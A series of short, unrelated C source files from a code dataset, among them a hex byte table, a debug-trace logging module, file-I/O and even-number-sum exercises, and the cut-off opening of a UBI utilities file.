0xa5,0x01,0x0c,0x01, 0x08,0x00,0x00,0x00, 0x95,0xe5,0x9a,0xff, 0x96,0xff,0xe7,0x82,
0xdf,0xef,0xc3,0x8d, 0xa5,0x01,0x0c,0x01, 0xec,0xff,0xff,0xff, 0x93,0xff,0xa8,0xff,
0xac,0xff,0xb8,0x82, 0x10,0xbb,0xa4,0x88, 0xa5,0x01,0x0c,0x01, 0xd3,0xff,0xff,0xff,
0x92,0xd6,0xc9,0xff, 0xa3,0xff,0xca,0xa4, 0x99,0x47,0xbc,0xdd, 0xa5,0x01,0x0c,0x01,
0xdc,0xff,0xff,0xff, 0x81,0xdd,0xc8,0xff, 0x9b,0xff,0xca,0x97, 0x90,0x5d,0xb5,0xb4,
0xa5,0x01,0x0c,0x01, 0x55,0x00,0x00,0x00, 0xbf,0xf7,0xc4,0xff, 0xd3,0xff,0x9b,0x81,
0x30,0x88,0x92,0x85, 0xa5,0x01,0x0c,0x01, 0x27,0x00,0x00,0x00, 0x81,0xc7,0xc1,0xff,
0xd7,0xff,0xf9,0xda, 0x17,0xa9,0xee,0x9b, 0xa5,0x01,0x0c,0x01, 0x13,0x00,0x00,0x00,
0x96,0xf1,0xa0,0xff, 0x9d,0xfe,0xd7,0x82, 0x09,0xcf,0xb8,0x8a, 0xa5,0x01,0x0c,0x01,
0xc8,0xff,0xff,0xff, 0xa1,0xc6,0x8f,0xff, 0x8d,0xff,0xf8,0x89, 0xc1,0xee,0xd3,0x90,
0xa5,0x01,0x0c,0x01, 0x2f,0x00,0x00,0x00, 0x8f,0xe1,0x9a,0xff, 0x89,0xff,0xdf,0x82,
0x87,0x60,0xb9,0x8a, 0xa5,0x01,0x0c,0x01, 0xc0,0xff,0xff,0xff, 0x89,0xb4,0xb5,0xff,
0x98,0xff,0xe5,0xba, 0x98,0x5e,0xdf,0xf0, 0xa5,0x01,0x0c,0x01, 0x84,0xff,0xff,0xff,
0x95,0xcd,0xa3,0xff, 0x87,0xff,0xf7,0x92, 0x9e,0x35,0xd5,0xb0, 0xa5,0x01,0x0c,0x01,
0x25,0x00,0x00,0x00, 0x8e,0xf5,0xa0,0xff, 0x9c,0xff,0xcb,0x82, 0xcf,0xf9,0xad,0x8a,
0xa5,0x01,0x0c,0x01, 0xb2,0xff,0xff,0xff, 0x8f,0xbb,0x9e,0xff, 0x88,0xff,0x00,0x99,
0x8c,0x79,0xe2,0xc0, 0xa5,0x01,0x0c,0x01, 0xf8,0xff,0xff,0xff, 0xa1,0xd6,0x90,0xff,
0x91,0xff,0xf7,0x83, 0xdb,0xf2,0xcf,0x8c, 0xa5,0x01,0x0c,0x01, 0xd3,0xff,0xff,0xff,
0x82,0xcd,0xc1,0xff, 0x9b,0xff,0xce,0xa3, 0xb0,0x15,0xc0,0xf1, 0xa5,0x01,0x0c,0x01,
0xa2,0xff,0xff,0xff, 0x96,0xf1,0xc9,0xff, 0x95,0xff,0xb0,0x88, 0xba,0xe5,0xa2,0x9a,
0xa5,0x01,0x0c,0x01, 0x31,0x00,0x00,0x00, 0x92,0xe5,0x97,0xff, 0x95,0xff,0xe7,0x82,
0xd0,0x00,0xc1,0x8c, 0xa5,0x01,0x0c,0x01, 0xb6,0xff,0xff,0xff, 0x97,0xb9,0x9f,0xff,
0x87,0xff,0xef,0xa8, 0x9d,0x2b,0xdf,0xfd, 0xa5,0x01,0x0c,0x01, 0xb4,0xff,0xff,0xff,
0xa8,0xe8,0x9b,0xff, 0xa8,0xff,0xd9,0x90, 0xdf,0xe8,0xbf,0x87, 0xa5,0x01,0x0c,0x01,
0x09,0x00,0x00,0x00, 0x85,0xd7,0x97,0xff, 0x89,0xff,0xf0,0x81, 0xbd,0x07,0xc8,0x91,
0xa5,0x01,0x0c,0x01, 0xbc,0xff,0xff,0xff, 0x9a,0xf5,0x9c,0xff, 0xac,0xff,0xce,0x87,
0xe8,0xdb,0xb5,0x89, 0xa5,0x01,0x0c,0x01, 0xc8,0xff,0xff,0xff, 0x97,0xe0,0x95,0xff,
0x9c,0xff,0xe7,0x8d, 0xc8,0xf8,0xc7,0x88, 0xa5,0x01,0x0c,0x01, 0x85,0xff,0xff,0xff,
0x85,0xab,0x99,0xff, 0x8d,0xff,0xf3,0xb2, 0x91,0x20,0xf4,0xfd, 0xa5,0x01,0x0c,0x01,
0x13,0x00,0x00,0x00, 0x8d,0xe0,0x94,0xff, 0x99,0xff,0xeb,0x82, 0x1c,0xc4,0xc6,0x91,
0xa5,0x01,0x0c,0x01, 0x2e,0x00,0x00,0x00, 0x91,0xff,0xa8,0xff, 0xa2,0xff,0xc7,0x81,
0xe0,0xea,0xad,0x8a, 0xa5,0x01,0x0c,0x01, 0x26,0x00,0x00,0x00, 0x8d,0xe1,0x9d,0xff,
0x8d,0xff,0xe3,0x83, 0xc2,0x0c,0xbe,0x8f, 0xa5,0x01,0x0c,0x01, 0xc9,0xff,0xff,0xff,
0x8d,0xbb,0xb5,0xff, 0x93,0xff,0xde,0xac, 0x9d,0x26,0xd3,0xfa, 0xa5,0x01,0x0c,0x01,
0xff,0xff,0xff,0xff, 0x83,0xe0,0x97,0xff, 0x91,0xff,0xf2,0x82, 0xe0,0xee,0xc9,0x90,
0xa5,0x01,0x0c,0x01, 0x2e,0x00,0x00,0x00, 0x86,0xf7,0xa8,0xff, 0x97,0xff,0xd4,0x82,
0xd5,0xf8,0xb5,0x8e, 0xa5,0x01,0x0c,0x01, 0x00,0x00,0x00,0x00, 0x85,0xae,0xc3,0xff,
0xb1,0xff,0x03,0xba, 0xc1,0xa7,0xf5,0xd4, 0xa5,0x01,0x0c,0x01, 0x56,0x00,0x00,0x00,
0xa1,0xf3,0xa4,0xff, 0x99,0xff,0xd2,0x81, 0xff,0xee,0xb2,0x8c, 0xa5,0x01,0x0c,0x01,
0x70,0x00,0x00,0x00, 0x9c,0xe6,0xb8,0xff, 0x8d,0xff,0xc8,0x8e, 0x91,0x50,0xb1,0x9a,
0xa5,0x01,0x0c,0x01, 0x5d,0x00,0x00,0x00, 0xf9,0xf2,0xb7,0xff, 0xef,0xff,0xa2,0x92,
0x17,0x8f,0xa0,0x82, 0xa5,0x01,0x0c,0x01, 0x00,0x00,0x00,0x00, 0x93,0x0e,0xc6,0xff,
0x03,0xff,0x1f,0x87, 0xfe,0xed,0xea,0x95, 0xa5,0x01,0x0c,0x01, 0xb6,0xff,0xff,0xff,
0x8b,0xbc,0xa8,0xff, 0x8c,0xff,0xfd,0xa6, 0x93,0x35,0xe8,0xe4, 0xa5,0x01,0x0c,0x01,
0x00,0x00,0x00,0x00, 0x94,0xe0,0x96,0xff, 0x91,0xff,0xe7,0x82, 0xca,0x05,0xc1,0x8c,
0xa5,0x01,0x0c,0x01, 0xc9,0xff,0xff,0xff, 0x89,0xbe,0xb6,0xff, 0x93,0xff,0xdc,0xae,
0xa2,0x27,0xd4,0xf9, 0xa5,0x01,0x0c,0x01, 0xae,0xff,0xff,0xff, 0x8a,0xd5,0xb7,0xff,
0x94,0xff,0xdc,0xa3, 0x94,0x67,0xc8,0xde, 0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00,
0x85,0xda,0xc5,0xff, 0xda,0xff,0xe8,0xdf, 0xaa,0x9f,0xd6,0x90, 0xa5,0x01,0x0c,0x01,
0xd3,0xff,0xff,0xff, 0x93,0xdd,0xc9,0xff, 0x9b,0xff,0xb7,0x93, 0xc2,0xf7,0xac,0xb4,
0xa5,0x01,0x0c,0x01, 0x08,0x00,0x00,0x00, 0x8f,0xe6,0x97,0xff, 0x95,0xff,0xe6,0x82,
0xd3,0xfc,0xc0,0x8d, 0xa5,0x01,0x0c,0x01, 0xc0,0xff,0xff,0xff, 0x99,0xb9,0x9d,0xff,
0x8e,0xff,0xf2,0xa8, 0x9d,0x28,0xe1,0xfd, 0xa5,0x01,0x0c,0x01, 0x41,0x00,0x00,0x00,
0x93,0xf7,0xad,0xff, 0x97,0xff,0xca,0x87, 0xb8,0x0c,0xb2,0x92, 0xa5,0x01,0x0c,0x01,
0x12,0x00,0x00,0x00, 0x92,0xdf,0x9c,0xff, 0x8b,0xff,0xe9,0x82, 0xbe,0x08,0xc2,0x8f,
0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00, 0x82,0xda,0x96,0xff, 0x9c,0xff,0x04,0x83,
0xe0,0xca,0xd8,0x95, 0xa5,0x01,0x0c,0x01, 0xa5,0xff,0xff,0xff, 0x83,0xd0,0x9f,0xff,
0x88,0xff,0xf0,0x87, 0xa1,0x27,0xc9,0x9a, 0xa5,0x01,0x0c,0x01, 0x4a,0x00,0x00,0x00,
0x84,0xb2,0x94,0xff, 0x84,0xff,0x05,0x8d, 0x86,0x20,0xf3,0xa9, 0xa5,0x01,0x0c,0x01,
0x6a,0x00,0x00,0x00, 0x92,0xcc,0x95,0xff, 0x87,0xff,0xfa,0x83, 0x9f,0x29,0xd0,0x90,
0xa5,0x01,0x0c,0x01, 0x2e,0x00,0x00,0x00, 0x90,0xff,0xb1,0xff, 0x95,0xff,0xd4,0x8a,
0x9f,0x1b,0xba,0x8b, 0xa5,0x01,0x0c,0x01, 0x08,0x00,0x00,0x00, 0x96,0xe6,0x96,0xff,
0x96,0xff,0xe1,0x82, 0xd1,0x00,0xbd,0x8b, 0xa5,0x01,0x0c,0x01, 0xd3,0xff,0xff,0xff,
0x85,0xd6,0xc9,0xff, 0xa1,0xff,0xc9,0x9d, 0xad,0x07,0xbc,0xd3, 0xa5,0x01,0x0c,0x01,
0x00,0x00,0x00,0x00, 0x85,0x0d,0xc6,0xff, 0xff,0xff,0x25,0x87, 0xf6,0xf6,0xef,0x98,
0xa5,0x01,0x0c,0x01, 0x57,0x00,0x00,0x00, 0x8f,0xb9,0x98,0xff, 0x85,0xff,0x08,0x90,
0x8c,0x77,0xe8,0xbb, 0xa5,0x01,0x0c,0x01, 0x25,0x00,0x00,0x00, 0x85,0xff,0xac,0xff,
0xa0,0xff,0xc4,0x81, 0xcf,0xeb,0xac,0x8e, 0xa5,0x01,0x0c,0x01, 0xdc,0xff,0xff,0xff,
0x9d,0xe4,0xc9,0xff, 0x9b,0xff,0xb1,0x8e, 0x92,0x2b,0xa4,0x9c, 0xa5,0x01,0x0c,0x01,
0x08,0x00,0x00,0x00, 0x81,0xe6,0x99,0xff, 0x90,0xff,0xe4,0x81, 0xca,0x01,0xbe,0x8f,
0xa5,0x01,0x0c,0x01, 0x3c,0x00,0x00,0x00, 0x86,0xda,0x99,0xff, 0x89,0xff,0xeb,0x81,
0xb4,0x14,0xc2,0x90, 0xa5,0x01,0x0c,0x01, 0xff,0xff,0xff,0xff, 0xca,0x18,0xe3,0xff,
0xb0,0xff,0x1c,0x85, 0x00,0xeb,0xea,0x9f, 0xa5,0x01,0x0c,0x01, 0x08,0x00,0x00,0x00,
0xad,0x59,0xbf,0xff, 0xbd,0xff,0x8e,0x8a, 0xf4,0x72,0x2b,0xac, 0xa5,0x01,0x0c,0x01,
0x56,0x00,0x00,0x00, 0x87,0xf3,0xa7,0xff, 0x94,0xff,0xd4,0x81, 0xf1,0xf4,0xb4,0x8d,
0xa5,0x01,0x0c,0x01, 0x5d,0x00,0x00,0x00, 0xfb,0xf9,0xad,0xff, 0xdc,0xff,0xae,0x8f,
0x23,0xa3,0xa3,0x83, 0xa5,0x01,0x0c,0x01, 0x00,0x00,0x00,0x00, 0x87,0xd7,0x95,0xff,
0x8b,0xff,0xf7,0x81, 0xbb,0x07,0xcc,0x91, 0xa5,0x01,0x0c,0x01, 0xda,0xff,0xff,0xff,
0x8b,0xe1,0x95,0xff, 0x95,0xff,0xed,0x82, 0xf1,0xe4,0xc6,0x8f, 0xa5,0x01,0x0c,0x01,
0x09,0x00,0x00,0x00, 0x86,0xe0,0x98,0xff, 0x8f,0xff,0xe6,0x82, 0xcc,0xfd,0xbf,0x8c,
0xa5,0x01,0x0c,0x01, 0x1b,0x00,0x00,0x00, 0x83,0x03,0xb0,0xff, 0x98,0xff,0xf1,0x9c,
0x9a,0x2e,0xd9,0x8c, 0xa5,0x01,0x0c,0x01, 0x13,0x00,0x00,0x00, 0x88,0xeb,0x9e,0xff,
0xb9,0xff,0x07,0x84, 0xf4,0xbd,0xdb,0x95, 0xa5,0x01,0x0c,0x01, 0x08,0x00,0x00,0x00,
0xad,0x36,0xac,0xff, 0xb8,0xff,0xa0,0x9b, 0xb0,0x68,0x42,0xa7, 0xa5,0x01,0x0c,0x01,
0xb6,0xff,0xff,0xff, 0x94,0xbb,0xa1,0xff, 0x87,0xff,0xf9,0xa4, 0x99,0x2e,0xe5,0xeb,
0xa5,0x01,0x0c,0x01, 0x13,0x00,0x00,0x00, 0x81,0xd7,0xa1,0xff, 0x8d,0xff,0xee,0x8a,
0x59,0xa1,0xcb,0x99, 0xa5,0x01,0x0c,0x01, 0x79,0x00,0x00,0x00, 0x82,0xbc,0xa5,0xff,
0x8e,0xff,0xef,0xb4, 0xa0,0x1e,0xe6,0xfc, 0xa5,0x01,0x0c,0x01, 0xdc,0xff,0xff,0xff,
0x83,0xdb,0xcb,0xff, 0x9c,0xff,0xc4,0x9a, 0x8e,0x49,0xb5,0xbd, 0xa5,0x01,0x0c,0x01,
0x00,0x00,0x00,0x00, 0x8f,0xd9,0x95,0xff, 0x8e,0xff,0xf3,0x82, 0xc8,0xfa,0xcc,0x90,
0xa5,0x01,0x0c,0x01, 0x9a,0xff,0xff,0xff, 0x97,0xdb,0xa4,0xff, 0x8b,0xff,0xe3,0x85,
0xc9,0x10,0xbf,0x93, 0xa5,0x01,0x0c,0x01, 0xc0,0xff,0xff,0xff, 0x8f,0xbc,0xaf,0xff,
0x92,0xff,0xea,0xb4, 0x98,0x73,0xe0,0xf8, 0xa5,0x01,0x0c,0x01, 0xc9,0xff,0xff,0xff,
0x8d,0xbd,0xb8,0xff, 0x96,0xff,0xe7,0xb1, 0x93,0x74,0xda,0xf9, 0xa5,0x01,0x0c,0x01,
0x7b,0x00,0x00,0x00, 0xa0,0xe8,0x9a,0xff, 0xad,0xff,0xd1,0x94, 0xfa,0xcc,0xba,0x87,
0xa5,0x01,0x0c,0x01, 0x40,0x00,0x00,0x00, 0x90,0xf6,0xaf,0xff, 0x95,0xff,0xc9,0x87,
0xbc,0x08,0xb0,0x94, 0xa5,0x01,0x0c,0x01, 0x23,0x00,0x00,0x00, 0x86,0x01,0xb2,0xff,
0xa0,0xff,0xc1,0x82, 0xd2,0xe7,0xac,0x91, 0xa5,0x01,0x0c,0x01, 0x5d,0x00,0x00,0x00,
0xfa,0xee,0xbf,0xff, 0xfb,0xff,0xa2,0x97, 0x13,0x90,0x9e,0x82, 0xa5,0x01,0x0c,0x01,
0x2e,0x00,0x00,0x00, 0x99,0x01,0xad,0xff, 0x9f,0xff,0xd1,0x8b, 0xa5,0x1a,0xb9,0x8b,
0xa5,0x01,0x0c,0x01, 0x2f,0x00,0x00,0x00, 0x8f,0xe2,0x97,0xff, 0x8d,0xff,0xdc,0x83,
0x8b,0x5d,0xb8,0x8c, 0xa5,0x01,0x0c,0x01, 0x2e,0x00,0x00,0x00, 0x8c,0xfe,0xae,0xff,
0x9b,0xff,0xca,0x87, 0xad,0x0f,0xb2,0x8f, 0xa5,0x01,0x0c,0x01, 0x68,0x00,0x00,0x00,
0xc2,0xcd,0x96,0xff, 0x9f,0xff,0xe0,0xa5, 0xca,0xe4,0xce,0x8a, 0xa5,0x01,0x0c,0x01,
0x0b,0x00,0x00,0x00, 0x84,0xde,0x96,0xff, 0x8e,0xff,0xef,0x82, 0xc1,0x02,0xc7,0x8f,
0xa5,0x01,0x0c,0x01, 0xff,0xff,0xff,0xff, 0x94,0xea,0x9b,0xff, 0xa3,0xff,0xe0,0x88,
0x3f,0xaf,0xc0,0x8c, 0xa5,0x01,0x0c,0x01, 0x08,0x00,0x00,0x00, 0xa3,0xd1,0xa2,0xff,
0x8b,0xff,0xf4,0x91, 0x8c,0x8e,0xcd,0x9b, 0xa5,0x01,0x0c,0x01, 0xae,0xff,0xff,0xff,
0x83,0xc2,0x99,0xff, 0x89,0xff,0xfa,0x8f, 0x99,0x29,0xd7,0xae, 0xa5,0x01,0x0c,0x01,
0xaa,0xff,0xff,0xff, 0x91,0xbc,0xa0,0xff, 0x8f,0xff,0xf8,0xab, 0x9e,0x2e,0xe7,0xff,
0xa5,0x01,0x0c,0x01, 0xf0,0xff,0xff,0xff, 0x94,0xea,0xcf,0xff, 0x9d,0xff,0xa8,0x8f,
0x95,0x0f,0x9f,0x96, 0xa5,0x01,0x0c,0x01, 0x85,0xff,0xff,0xff, 0x83,0xcb,0xa6,0xff,
0x89,0xff,0xf6,0x95, 0x9d,0x28,0xd5,0xb6, 0xa5,0x01,0x0c,0x01, 0x00,0x00,0x00,0x00,
0x81,0xd4,0x94,0xff, 0x8b,0xff,0xf0,0x81, 0xbc,0x05,0xc8,0x91, 0xa5,0x01,0x0c,0x01,
0xc9,0xff,0xff,0xff, 0x89,0xbd,0xb5,0xff, 0x9b,0xff,0xe8,0xaf, 0xa2,0x2e,0xd9,0x00,
0xa5,0x01,0x0c,0x01, 0x7c,0x00,0x00,0x00, 0xa3,0xe7,0x99,0xff, 0xb1,0xff,0xcd,0x92,
0xff,0xc7,0xb7,0x88, 0xa5,0x01,0x0c,0x01, 0xc0,0xff,0xff,0xff, 0x91,0xb9,0x9e,0xff,
0x8e,0xff,0xf6,0xa6, 0x9a,0x2f,0xe1,0xfe, 0xa5,0x01,0x0c,0x01, 0xa9,0xff,0xff,0xff,
0xb1,0xfc,0xa2,0xff, 0xb9,0xff,0xb6,0x88, 0x1a,0xb6,0xa7,0x86, 0xa5,0x01,0x0c,0x01,
0xb6,0xff,0xff,0xff, 0x8a,0xac,0xa2,0xff, 0x8e,0xff,0xf5,0xb7, 0xaa,0x70,0xf2,0xec,
0xa5,0x01,0x0c,0x01, 0x1b,0x00,0x00,0x00, 0x9d,0x00,0xab,0xff, 0x96,0xff,0x02,0xa5,
0xa0,0x39,0xf0,0x8a, 0xa5,0x01,0x0c,0x01, 0x68,0x00,0x00,0x00, 0x1a,0xf5,0xba,0xff,
0xf3,0xff,0xa1,0x91, 0x29,0x8a,0x9c,0x82, 0xa5,0x01,0x0c,0x01, 0x08,0x00,0x00,0x00,
0x8e,0xe1,0x9b,0xff, 0x8d,0xff,0xe8,0x81, 0xc2,0x07,0xc2,0x8e, 0xa5,0x01,0x0c,0x01,
0x99,0xff,0xff,0xff, 0x89,0xd7,0xaa,0xff, 0x89,0xff,0xea,0x8a, 0x85,0x95,0xc1,0x92,
0xa5,0x01,0x0c,0x01, 0x00,0x00,0x00,0x00, 0x8e,0xd5,0x8d,0xff, 0x89,0xff,0xef,0x84,
0x86,0x89,0xc3,0x8b, 0xa5,0x01,0x0c,0x01, 0xac,0xff,0xff,0xff, 0x8a,0xc6,0xaa,0xff,
0x90,0xff,0xeb,0xa4, 0xad,0x21,0xd8,0xee, 0xa5,0x01,0x0c,0x01, 0x5f,0x00,0x00,0x00,
0x8d,0xbb,0x9c,0xff, 0x88,0xff,0x00,0x93, 0x8b,0x73,0xe0,0xb8, 0xa5,0x01,0x0c,0x01,
0x2e,0x00,0x00,0x00, 0x9d,0xf9,0xa3,0xff, 0xa0,0xfe,0xc2,0x82, 0xce,0xf8,0xa8,0x88,
0xa5,0x01,0x0c,0x01, 0x08,0x00,0x00,0x00, 0xa8,0x58,0xc4,0xff, 0xb8,0xff,0x85,0x85,
0xf5,0x68,0x24,0xc7, 0xa5,0x01,0x0c,0x01, 0x91,0xff,0xff,0xff, 0x95,0xe6,0xa1,0xff,
0x92,0xff,0xd8,0x85, 0xc2,0x16,0xb9,0x8f, 0xa5,0x01,0x0c,0x01, 0x8e,0xff,0xff,0xff,
0x97,0xe4,0x96,0xff, 0x9a,0xff,0xe1,0x88, 0xfe,0xdd,0xc1,0x8c, 0xa5,0x01,0x0c,0x01,
0x08,0x00,0x00,0x00, 0x8d,0xa8,0x8d,0xff, 0x83,0xff,0x01,0x88, 0xb1,0x6a,0xf6,0xb9,
0xa5,0x01,0x0c,0x01, 0x08,0x00,0x00,0x00, 0x95,0xe1,0x98,0xff, 0x90,0xff,0xea,0x82,
0xc7,0x02,0xc4,0x8e, 0xa5,0x01,0x0c,0x01, 0x97,0xff,0xff,0xff, 0x84,0xb3,0x9b,0xff,
0x89,0xff,0x00,0x9b, 0x8c,0x2d,0xeb,0xd6, 0xa5,0x01,0x0c,0x01, 0xdb,0xff,0xff,0xff,
0x93,0xdd,0xcf,0xff, 0xa6,0xff,0xb8,0x9d, 0x97,0x2b,0xb0,0xc3, 0xa5,0x01,0x0c,0x01,
0x00,0x00,0x00,0x00, 0x91,0xdb,0x91,0xff, 0x93,0xff,0xee,0x82, 0xd3,0xf5,0xc7,0x8e,
0xa5,0x01,0x0c,0x01, 0x71,0x00,0x00,0x00, 0x8f,0xe5,0x93,0xff, 0x9a,0xff,0xd6,0x85,
0x0e,0xd4,0xb8,0x8b, 0xa5,0x01,0x0c,0x01, 0x00,0x00,0x00,0x00, 0x8e,0xda,0x95,0xff,
0x8d,0xff,0xf1,0x81, 0xbb,0x08,0xca,0x8f, 0xa5,0x01,0x0c,0x01, 0xb3,0xff,0xff,0xff,
0x81,0xd3,0xb8,0xff, 0x95,0xff,0xd3,0x96, 0x91,0x55,0xb9,0xb0, 0xa5,0x01,0x0c,0x01,
0x08,0x00,0x00,0x00, 0xa3,0xf2,0x9f,0xff, 0xa2,0xff,0xd0,0x83, 0x00,0xd6,0xb3,0x86,
0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00, 0x8a,0xe3,0x96,0xff, 0x91,0xff,0xe5,0x82,
0xcf,0x00,0xbf,0x8c, 0xa5,0x01,0x0c,0x01, 0x4a,0x00,0x00,0x00, 0x8a,0xe3,0xaf,0xff,
0x8c,0xff,0xdd,0x8b, 0xba,0x0d,0xc0,0xa5, 0xa5,0x01,0x0c,0x01, 0xf7,0xff,0xff,0xff,
0xb9,0xf2,0x9d,0xff, 0xad,0xff,0xcb,0x86, 0x01,0xd3,0xb0,0x84, 0xa5,0x01,0x0c,0x01,
0xb6,0xff,0xff,0xff, 0x81,0xb7,0xab,0xff, 0x95,0xff,0xf9,0xaf, 0x98,0x82,0xe8,0xf4,
0xa5,0x01,0x0c,0x01, 0x08,0x00,0x00,0x00, 0x8f,0xdc,0x92,0xff, 0x9d,0xff,0xec,0x88,
0x2b,0xb2,0xc8,0x8f, 0xa5,0x01,0x0c,0x01, 0x8f,0xff,0xff,0xff, 0x93,0xd4,0xa2,0xff,
0x89,0xff,0xf1,0x8b, 0xa3,0x2f,0xcc,0xa2, 0xa5,0x01,0x0c,0x01, 0x5c,0x00,0x00,0x00,
0xef,0xf0,0xba,0xff, 0xf3,0xff,0xa3,0x94, 0x14,0x8f,0x9e,0x83, 0xa5,0x01,0x0c,0x01,
0x00,0x00,0x00,0x00, 0xac,0x2f,0xad,0xff, 0xb1,0xff,0xa8,0x9c, 0x9d,0x6c,0x4a,0xa9,
0xa5,0x01,0x0c,0x01, 0x26,0x00,0x00,0x00, 0x92,0xe1,0x9b,0xff, 0x90,0xff,0xe7,0x83,
0xc9,0x0f,0xc0,0x8f, 0xa5,0x01,0x0c,0x01, 0xdc,0xff,0xff,0xff, 0x8b,0xd6,0xc8,0xff,
0x9a,0xff,0xce,0x96, 0x8c,0x64,0xb8,0xb0, 0xa5,0x01,0x0c,0x01, 0x40,0x00,0x00,0x00,
0xbd,0xd0,0x93,0xff, 0xa2,0xff,0xe1,0xaa, 0xe4,0xd8,0xd0,0x83, 0xa5,0x01,0x0c,0x01,
0xa2,0xff,0xff,0xff, 0x84,0xee,0xca,0xff, 0x97,0xff,0xb1,0x88, 0xb6,0xdd,0xa3,0x9b,
0xa5,0x01,0x0c,0x01, 0x8d,0xff,0xff,0xff, 0x88,0xd5,0xa7,0xff, 0x89,0xff,0xf2,0x8b,
0xa4,0x31,0xcc,0xa4, 0xa5,0x01,0x0c,0x01, 0xb8,0xff,0xff,0xff, 0x86,0xca,0xae,0xff,
0x8f,0xff,0xed,0x99, 0x8a,0x85,0xce,0xb7, 0xa5,0x01,0x0c,0x01, 0x10,0x00,0x00,0x00,
0xa0,0xf8,0xa4,0xff, 0xa4,0xff,0xcd,0x82, 0x11,0xcb,0xb1,0x87, 0xa5,0x01,0x0c,0x01,
0x08,0x00,0x00,0x00, 0xa9,0x27,0xa7,0xff, 0xb1,0xff,0x9b,0xa2, 0x6c,0x60,0x4b,0xaa,
0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00, 0x93,0xdc,0x97,0xff, 0x8d,0xff,0xe7,0x81,
0xbf,0x0b,0xc0,0x8c, 0xa5,0x01,0x0c,0x01, 0x56,0x00,0x00,0x00, 0xac,0xfe,0xc3,0xff,
0xc6,0xff,0x9f,0x82, 0x47,0x84,0x97,0x86, 0xa5,0x01,0x0c,0x01, 0xb6,0xff,0xff,0xff,
0x90,0xc2,0xa6,0xff, 0x8e,0xff,0xf2,0x9f, 0x91,0x84,0xd8,0xc8, 0xa5,0x01,0x0c,0x01,
0x53,0x00,0x00,0x00, 0xe0,0xeb,0xc0,0xff, 0xf9,0xff,0xa6,0x9e, 0x2a,0x86,0xa3,0x82,
0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00, 0x92,0xde,0x96,0xff, 0x8f,0xff,0xf0,0x82,
0xbc,0x0c,0xc9,0x8f, 0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00, 0x86,0xea,0x9c,0xff,
0x95,0xff,0xdf,0x82, 0xe6,0xe5,0xbd,0x8c, 0xa5,0x01,0x0c,0x01, 0xff,0xff,0xff,0xff,
0x8e,0xda,0x95,0xff, 0x8d,0xff,0xf1,0x81, 0xbb,0x08,0xca,0x8f, 0xa5,0x01,0x0c,0x01,
0x8d,0xff,0xff,0xff, 0x9a,0xd3,0xaa,0xff, 0x90,0xff,0xe3,0x9e, 0xbd,0x19,0xcd,0xdd,
};
|
the_stack_data/32950544.c | /*
* NOKIADisplay.c
*
* Created: 11/19/2017 2:53:28 PM
* Author: Matt
*/
|
the_stack_data/95451337.c | /* vi: set sw=4 ts=4: */
/*
* dtrace.c
*
* A debug / trace helper module.
*
* Created by David Hsieh <[email protected]>
* Copyright (C) 2004-2008 by Alpha Networks, Inc.
*
* This file is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either'
* version 2.1 of the License, or (at your option) any later version.
*
* The GNU C Library is distributed in the hope that it will be useful,'
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with the GNU C Library; if not, write to the Free
* Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
* 02111-1307 USA.
*/
#ifdef DDEBUG
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include "dtrace.h"
/***********************************************************************/
static int ddbg_level = DBG_DEFAULT;
static FILE * out_fd = NULL;
/***********************************************************************/
void __dtrace(int level, const char * format, ...)
{
va_list marker;
if (ddbg_level <= level)
{
va_start(marker, format);
vfprintf(out_fd ? out_fd : stdout, format, marker);
va_end(marker);
}
}
void __dassert(char * exp, char * file, int line)
{
__dtrace(DBG_ALL, "DASSERT: file: %s, line: %d\n", file, line);
__dtrace(DBG_ALL, "\t%s\n", exp);
abort();
}
FILE * __set_output_file(const char * fname)
{
if (out_fd) fclose(out_fd);
out_fd = NULL;
if (fname) out_fd = fopen(fname, "w");
return out_fd;
}
int __set_dbg_level(int level)
{
ddbg_level = level;
return ddbg_level;
}
#ifdef TEST_DTRACE
int main(int argc, char * argv[])
{
dtrace("Hello world !\n");
dtrace("Hello: %d %s 0x%x\n", 12, "test", 12);
return 0;
}
#endif
#endif /* end of #ifdef DDEBUG */
|
the_stack_data/1160420.c | #include <stdio.h>
#include <stdlib.h>
int main(void)
{
FILE *fp;
if(NULL == (fp = fopen("source.txt", "w"))){
printf("打开文件失败\n");
exit(EXIT_FAILURE);
}
fputc('K', fp);
printf("%ld\n",ftell(fp));
fputs("iss\n", fp);
printf("%ld\n",ftell(fp));
fprintf(fp, "%s", "keep it simple stupid\n");
printf("%ld\n", ftell(fp));
fclose(fp);
return 0;
}
|
the_stack_data/719307.c | //Sumar pares desde A hasta B.
#include <stdio.h>
int main(){
int a,b,i,suma=0;
printf("Ingrese el rango de numeros a sumar: ");
scanf("%i %i",&a,&b);
i = a;
while(i<=b){
if(i%2==0){
suma = suma + i;
}
i++;
}
printf("%i",suma);
return 0;
}
|
the_stack_data/126702965.c | /*
* Copyright (C) 2007, 2008 Nokia Corporation
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
* the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
/*
* This file contains various common stuff used by UBI utilities.
*
* Authors: Artem Bityutskiy
* Adrian Hunter
*/
//#define PROGRAM_NAME "ubiutils"
#include <sys/time.h>
#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
#include <unistd.h>
//#include "common.h"
/**
* get_multiplier - convert size specifier to an integer multiplier.
* @str: the size specifier string
*
* This function parses the @str size specifier, which may be one of
* 'KiB', 'MiB', or 'GiB' into an integer multiplier. Returns positive
